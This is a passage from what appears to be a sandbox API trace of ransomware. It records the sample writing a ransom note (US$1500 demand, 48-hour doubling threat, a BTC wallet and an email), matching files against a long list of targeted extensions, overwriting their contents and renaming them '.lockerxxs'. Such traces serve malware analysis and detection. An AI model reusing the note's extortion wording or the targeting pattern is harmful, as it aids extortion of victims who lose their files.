FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\HOW TO DECRYPT FILES.txt" [0068.596] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\how to decrypt files.txt")) returned 0xffffffff [0068.596] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.596] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.597] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.598] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.598] CloseHandle (hObject=0x94) returned 1 [0068.599] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" [0068.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0068.599] lstrlenA (lpString="*.ems") returned 5 [0068.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.db") returned 0 [0068.599] lstrlenA (lpString="*.db") returned 4 [0068.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0068.599] lstrlenA (lpString="*.dbf") returned 5 [0068.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0068.599] lstrlenA (lpString="*.myox") returned 6 [0068.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0068.599] lstrlenA (lpString="*.myo") returned 5 [0068.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0068.599] lstrlenA (lpString="*.qbw") returned 5 [0068.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0068.599] lstrlenA (lpString="*.qbb") returned 5 [0068.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0068.600] lstrlenA (lpString="*.qbm") returned 5 [0068.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0068.600] lstrlenA (lpString="*.qbo") returned 5 [0068.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0068.600] lstrlenA (lpString="*.qbx") returned 5 [0068.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0068.600] lstrlenA (lpString="*.qba") returned 5 [0068.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0068.600] lstrlenA (lpString="*.qby") returned 5 [0068.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0068.600] lstrlenA (lpString="*.qbj") returned 5 [0068.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0068.600] lstrlenA (lpString="*.ofx") returned 5 [0068.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0068.600] lstrlenA (lpString="*.qif") returned 5 [0068.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0068.600] lstrlenA (lpString="*.mye") returned 5 [0068.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0068.601] lstrlenA (lpString="*.mbox") returned 6 [0068.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.601] lstrlenA (lpString="*.eml") returned 5 [0068.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0068.601] lstrlenA (lpString="*.pst") returned 5 [0068.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0068.601] lstrlenA (lpString="*.ost") returned 5 [0068.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0068.601] lstrlenA (lpString="*.idx") returned 5 [0068.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0068.601] lstrlenA (lpString="*.dbx") returned 5 [0068.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0068.601] lstrlenA (lpString="*.sql") returned 5 [0068.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0068.601] lstrlenA (lpString="*.mdb") returned 5 [0068.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0068.601] lstrlenA (lpString="*.fdb") returned 5 [0068.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0068.601] lstrlenA (lpString="*.wab") returned 5 [0068.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0068.601] lstrlenA (lpString="*.dat") returned 5 [0068.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0068.602] lstrlenA (lpString="*.txt") returned 5 [0068.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0068.602] lstrlenA (lpString="*.jpeg") returned 6 [0068.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0068.602] lstrlenA (lpString="*.jpg") returned 5 [0068.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.png") returned 0 [0068.602] lstrlenA (lpString="*.png") returned 5 [0068.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.php") returned 0 [0068.602] lstrlenA (lpString="*.php") returned 5 [0068.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0068.602] lstrlenA (lpString="*.cs") returned 4 [0068.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0068.602] lstrlenA (lpString="*.cpp") returned 5 [0068.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0068.602] lstrlenA (lpString="*.rar") returned 5 [0068.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0068.602] lstrlenA (lpString="*.zip") returned 5 [0068.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.html") returned 0 [0068.602] lstrlenA (lpString="*.html") returned 6 [0068.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0068.603] lstrlenA (lpString="*.htm") returned 5 [0068.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0068.603] lstrlenA (lpString="*.xlsx") returned 6 [0068.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0068.603] lstrlenA (lpString="*.xls") returned 5 [0068.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0068.603] lstrlenA (lpString="*.mp4") returned 5 [0068.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0068.603] lstrlenA (lpString="*.ppt") returned 5 [0068.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0068.603] lstrlenA (lpString="*.pptx") returned 6 [0068.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0068.603] lstrlenA (lpString="*.doc") returned 5 [0068.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0068.603] lstrlenA (lpString="*.dot") returned 5 [0068.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0068.603] lstrlenA (lpString="*.docx") returned 6 [0068.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0068.604] lstrlenA (lpString="*.7z") returned 4 [0068.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0068.604] lstrlenA (lpString="*.tar") returned 5 [0068.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0068.604] lstrlenA (lpString="*.bz2") returned 5 [0068.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0068.604] lstrlenA (lpString="*.gz") returned 4 [0068.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0068.604] lstrlenA (lpString="*.mkv") returned 5 [0068.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.604] lstrlenA (lpString="*.eml") returned 5 [0068.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0068.604] lstrlenA (lpString="*.msg") returned 5 [0068.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0068.604] lstrlenA (lpString="*.edb") returned 5 [0068.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0068.604] lstrlenA (lpString="*.accdb") returned 7 [0068.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0068.604] lstrlenA (lpString="*.odb") returned 5 [0068.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.java") returned 0 [0068.605] lstrlenA (lpString="*.java") returned 6 [0068.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0068.605] lstrlenA (lpString="*.asm") returned 5 [0068.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0068.605] lstrlenA (lpString="*.pfx") returned 5 [0068.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0068.605] lstrlenA (lpString="*.pem") returned 5 [0068.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0068.605] lstrlenA (lpString="*.p12") returned 5 [0068.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0068.605] lstrlenA (lpString="*.gpg") returned 5 [0068.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0068.605] lstrlenA (lpString="*.vsd") returned 5 [0068.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0068.605] lstrlenA (lpString="*.odg") returned 5 [0068.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0068.605] lstrlenA (lpString="*.raw") returned 5 [0068.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0068.606] lstrlenA (lpString="*.nef") returned 5 [0068.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0068.606] lstrlenA (lpString="*.svg") returned 5 [0068.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0068.606] lstrlenA (lpString="*.psd") returned 5 [0068.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0068.606] lstrlenA (lpString="*.vmx") returned 5 [0068.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0068.606] lstrlenA (lpString="*.vmdk") returned 6 [0068.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0068.606] lstrlenA (lpString="*.vdi") returned 5 [0068.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0068.607] lstrlenA (lpString="*.lay6") returned 6 [0068.607] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0068.607] lstrlenA (lpString="*.mpeg") returned 6 [0068.607] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0068.607] lstrlenA (lpString="*.djvu") returned 6 [0068.607] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0068.607] lstrlenA (lpString="*.tiff") returned 6 [0068.607] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0068.607] lstrlenA (lpString="*.backup") returned 8 [0068.607] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0068.607] lstrlenA (lpString="*.pdf") returned 5 [0068.607] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" [0068.607] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" [0068.607] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf." [0068.607] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf.lockerxxs" [0068.607] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.608] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x592a [0068.608] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805da3e0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4)) returned 1 [0068.608] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.608] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5904, lpOverlapped=0x0) returned 1 [0068.612] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf") returned="AdobeID.pdf" [0068.612] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.612] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5904, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5904, lpOverlapped=0x0) returned 1 [0068.612] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.612] CloseHandle (hObject=0x94) returned 1 [0068.614] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf.lockerxxs")) returned 1 [0068.617] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5416, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0068.617] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.617] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0068.617] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0068.617] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0068.617] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf") returned="AdobeID.pdf" [0068.617] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\" [0068.617] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\") returned="" [0068.617] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\HOW TO DECRYPT FILES.txt" [0068.617] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\how to decrypt files.txt")) returned 0x20 [0068.618] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" [0068.618] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0068.618] lstrlenA (lpString="*.ems") returned 5 [0068.618] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.db") returned 0 [0068.618] lstrlenA (lpString="*.db") returned 4 [0068.618] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", 